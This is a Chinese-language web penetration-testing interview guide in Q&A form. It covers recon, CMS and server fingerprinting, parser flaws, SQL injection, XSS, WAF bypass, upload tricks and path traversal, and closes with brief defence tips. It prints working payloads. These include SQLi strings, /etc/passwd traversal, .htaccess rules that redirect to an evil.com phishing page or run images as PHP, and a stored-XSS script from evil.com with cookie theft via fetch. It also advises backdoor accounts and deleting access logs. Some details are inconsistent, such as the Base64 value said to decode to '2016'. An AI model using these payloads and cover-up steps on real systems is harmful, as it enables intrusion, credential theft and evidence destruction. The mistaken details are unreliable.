安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[2. 网站渗透测试流程](#2. 网站渗透测试流程)
[3. CMS识别意义](#3. CMS识别意义)
[4. 扫目录在安全CMS中的意义](#4. 扫目录在安全CMS中的意义)
[5. 常见服务器容器](#5. 常见服务器容器)
[6. 容器解析漏洞案例](#6. 容器解析漏洞案例)
[7. 常见漏洞原理与渗透手法](#7. 常见漏洞原理与渗透手法)
[8. 操作系统识别技巧](#8. 操作系统识别技巧)
[9. MySQL仅开放80端口的可能原因](#9. MySQL仅开放80端口的可能原因)
[10. 3389无法连接的排查](#10. 3389无法连接的排查)
[11. 突破字符转义的注入方法](#11. 突破字符转义的注入方法)
[12. .htaccess文件利用场景](#12. .htaccess文件利用场景)
[13. WAF绕过方法](#13. WAF绕过方法)
[14. 避免带空格目录的原因](#14. 避免带空格目录的原因)
[15. 审查上传点元素的意义](#15. 审查上传点元素的意义)
[16. "用户不存在"漏洞利用](#16. "用户不存在"漏洞利用)
[17. .do文件+路径参数利用思路](#17. .do文件+路径参数利用思路)
[18. 目录结构已知的渗透思路](#18. 目录结构已知的渗透思路)
[19. XSS长久控制方法](#19. XSS长久控制方法)
[20. 读取管理员星号密码](#20. 读取管理员星号密码)
[21. 上传图片正常但脚本403的原因](#21. 上传图片正常但脚本403的原因)
[22. 通过审查元素识别防护软件](#22. 通过审查元素识别防护软件)
[23. 变形注入:demo.do?DATA=AjAxNg==](#23. 变形注入:demo.do?DATA=AjAxNg==)
2、拿到一个待检测的站,你觉得应该先做什么(一个网站的渗透测试思路,流程 3、判断出网站的CMS对渗透有什么意义? 4、一个成熟并且相对安全的CMS,渗透时扫目录的意义? 5、常见的网站服务器容器。 6、目前已知哪些版本的容器有解析漏洞,具体举例。 7、简述SQL注入,XSS,CSRF漏洞的原理和渗透手法等 8、如何手工快速判断目标站是windows还是linux服务器? 9、为何一个mysql数据库的站,只有一个80端口开放? 10、3389无法连接的几种情况 11、如何突破注入时字符被转义? 12、拿到一个webshell发现网站根目录下有.htaccess文件,能做什么? 13、请写出突破Waf的方法 14、提权时选择可读写目录,为何尽量不用带空格的目录? 15、审查上传点的元素有什么意义? 16、目标站禁止注册用户,找回密码处随便输入用户名提示:"此用户不存在",怎样利用? 17、目标站发现某txt的下载地址为.do?file=/upwdown/1.txt,有什么思路? 18、目标站,已知根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录,思路 19、在有shell的情况下,如何使用xss实现对目标站的长久控制? 20、后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码? 21、目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因? 22、审查元素得知网站所使用的防护软件,你觉得怎样做到的? 23、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路? demo.do?DATA=AjAxNg==
2. 网站渗透测试流程
- 信息收集
- 域名/IP信息(Whois、CDN检测)
- 端口扫描(Nmap:
443, 8080, 3306
等高危端口)- 目录扫描(Dirsearch/Gobuster,重点扫描
/admin, /backup, /api
)- CMS识别(Wappalyzer/WhatWeb)
- 漏洞探测
- 自动化扫描(AWVS/Nessus初步筛查)
- 手动验证(重点测试登录框、上传点、参数传递处)
- 渗透利用
- 根据漏洞类型选择利用方式(如SQL注入工具sqlmap、XSS平台)
- 权限维持
- 上传Webshell(冰蝎/哥斯拉)
- 添加后门账户/计划任务
- 痕迹清理
- 删除访问日志(Apache:
access.log
; Nginx:nginx.conf
指定路径)
3. CMS识别意义
- 针对性利用:已知CMS漏洞快速利用(如ThinkPHP RCE、WordPress插件漏洞)
- 减少攻击面 :避免盲目扫描,聚焦CMS特有路径(如Drupal的
/user/login
)- 版本关联漏洞:通过版本号查询历史漏洞(CVE-2023-xxxx)
4. 扫目录在安全CMS中的意义
- 敏感文件泄露 :
- 配置文件(
/web.config, /config.php.bak
)- 备份文件(
/database.sql.zip
)- 隐藏入口发现 :
- 未授权访问后台(
/admin.php, /wp-admin
)- 测试页面(
/test/, /demo/
)- 资产测绘 :识别编辑器路径(如UEditor的
/ueditor/
)
5. 常见服务器容器
容器名称 使用场景 特点 Apache 传统Web应用 .htaccess
文件控制Nginx 高并发反向代理 静态资源处理高效 IIS Windows环境 支持ASP.NET Tomcat Java Web应用 默认端口8080 OpenResty 动态脚本扩展Nginx 集成Lua脚本能力
6. 容器解析漏洞案例
容器/版本 漏洞形式 Payload示例 IIS 6.0 目录解析漏洞 /logo.jpg/xxx.php
Nginx 0.8.x 文件名逻辑漏洞 test.jpg%00.php
Apache 1.x-2.x 多后缀解析漏洞 shell.php.jpg
7. 常见漏洞原理与渗透手法
漏洞类型 原理 渗透手法 SQL注入 用户输入拼接到SQL语句 ' OR 1=1--
联合查询注入XSS 恶意脚本注入页面 <script>alert(1)</script>
DOM型XSSCSRF 诱骗用户执行非预期操作 构造恶意表单+社工诱导点击
8. 操作系统识别技巧
- Linux特征 :
- 路径大小写敏感(访问
/Test
vs/test
)- HTTP响应头含
Linux
或Apache/2.x
- Windows特征 :
- 路径分隔符为
\
(如报错信息)- IIS服务器标识(
Server: Microsoft-IIS/10.0
)
9. MySQL仅开放80端口的可能原因
- 防火墙策略:仅允许HTTP流量(端口80)
- 端口复用:通过HTTP隧道通信(如使用reGeorg代理)
- 云安全组限制:仅暴露Web端口
10. 3389无法连接的排查
- 网络层问题 :
- 防火墙拦截(本地或云安全组)
- 端口修改(注册表
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
的Port值)- 系统配置问题 :
- 远程桌面服务未启动(
services.msc
中检查TermService)- 用户权限限制(组策略禁用远程连接)
11. 突破字符转义的注入方法
- 编码绕过 :
- URL编码:
'
→%27
- 双重URL编码:
%27
→%2527
- 替代字符 :
- 使用
||
替代OR
(MySQL)- 内联注释:
/*!SELECT*/
- 字符串截断 :
- 利用
SUBSTRING()
或MID()
函数逐位判断
12. .htaccess文件利用场景
重定向攻击 :
apache`RewriteEngine On RewriteRule ^login$ http://evil.com/phishing.html [R=302] `
执行恶意脚本 :
apache`AddHandler application/x-httpd-php .jpg # 将jpg解析为PHP `
禁用安全功能 :
apache`SecFilterEngine Off # 关闭ModSecurity `
13. WAF绕过方法
- 请求拆分 :
- 分块传输编码(Chunked Encoding)
- HTTP参数污染(
?id=1&id=UNION SELECT 1,2,3
)- 混淆技术 :
- Unicode编码:
SELECT
→\u0053\u0045\u004C\u0045\u0043\u0054
- 注释填充:
SEL/*xyz*/ECT
- 资源限制绕过 :
- 慢速攻击(低速发送Payload)
14. 避免带空格目录的原因
- 路径解析歧义 :
- Windows中
C:\Program Files
需引号包裹("C:\Program Files\..."
)- Linux中空格需转义(
/tmp/my\ dir/
)- 脚本兼容性 :
- 批处理/Bash脚本易因空格截断命令
15. 审查上传点元素的意义
- 前端校验绕过 :
- 删除
accept=".jpg"
属性或修改onchange
事件函数- 隐藏参数分析 :
- 发现未公开参数(如
type=admin
)- JS加密逻辑 :
- 提取加密密钥或逆向算法(如文件名MD5校验)
16. "用户不存在"漏洞利用
- 用户名枚举 :
- 爆破有效用户名(Burp Intruder比对响应长度)
- 密码重置劫持 :
- 对有效用户发起重置请求,截取邮件/SMS验证码
17. .do文件+路径参数利用思路
- 路径遍历 :
file=../../../../etc/passwd
(测试Linux)- 文件包含 :
file=WEB-INF/web.xml
(读取Java配置)- 后缀解析漏洞 :
- 尝试
file=/upwdown/1.txt.jsp
(容器解析漏洞)
18. 目录结构已知的渗透思路
- 编辑器漏洞利用 :
- 上传图片马 → 解析漏洞获取Shell
- 后台爆破 :
- 尝试弱口令(admin/admin123)
- 敏感文件扫描 :
- 查找
/abc/admin/backup.sql
19. XSS长久控制方法
- 持久化存储 :
- 存储型XSS写入后台公告(
<script src="http://evil.com/backdoor.js">
)- 结合CSRF :
- 定时向攻击服务器发送Cookie(
setInterval
+fetch
)- 键盘记录器 :
- 通过XSS注入键盘监听脚本
20. 读取管理员星号密码
- 前端源码分析 :
- 检查
input
标签的value
属性(可能硬编码)- DOM修改 :
- 浏览器控制台执行:
document.getElementById("pwd").type="text"
- 流量拦截 :
- Burp Suite抓取修改密码时的明文请求
21. 上传图片正常但脚本403的原因
- 文件类型校验 :
- MIME类型检测(
Content-Type: image/jpeg
)- 文件头检测 :
- 服务器检查文件幻数(如
FF D8 FF E0
为JPEG)- WAF规则拦截 :
- 过滤
<?php, <script>
等关键词
22. 通过审查元素识别防护软件
- 特征标识 :
- HTML注释(如
<!-- Safedog -->
)- JS文件路径(
/waf/scripts.js
)- 响应头特征 :
Server: WAF/2.0
或X-Protected-By: ModSecurity
- 拦截页面内容 :
- 403页面包含防护品牌(如阿里云盾、Cloudflare)
23. 变形注入:
demo.do?DATA=AjAxNg==
漏洞分析
- 参数特性 :
DATA
参数为Base64编码(AjAxNg==
→"2016"
)- 变形注入思路 :
二次编码绕过 :
- 将Payload先Base64编码再传递:
http`DATA=JyBPUiAxPTEgLS0+ # 原始Payload: ' OR 1=1 -- `
时间盲注构造 :
- 使用
SLEEP()
函数:IF(1=1,SLEEP(5),0)
→ Base64编码容器特性利用 :
- 尝试
%00
截断(需容器支持)手工验证步骤
http`原始请求: demo.do?DATA=MjAxNg== # "2016" 测试注入: demo.do?DATA=JyBPUiAxPTEgLS0+ # 期望返回所有数据 `
防御建议总结
- 输入过滤:对所有参数进行白名单校验
- 错误处理:禁用详细报错(防止信息泄露)
- 最小权限 :数据库账户禁止
FILE
/EXECUTE
权限- WAF策略:部署正则规则过滤编码后的攻击特征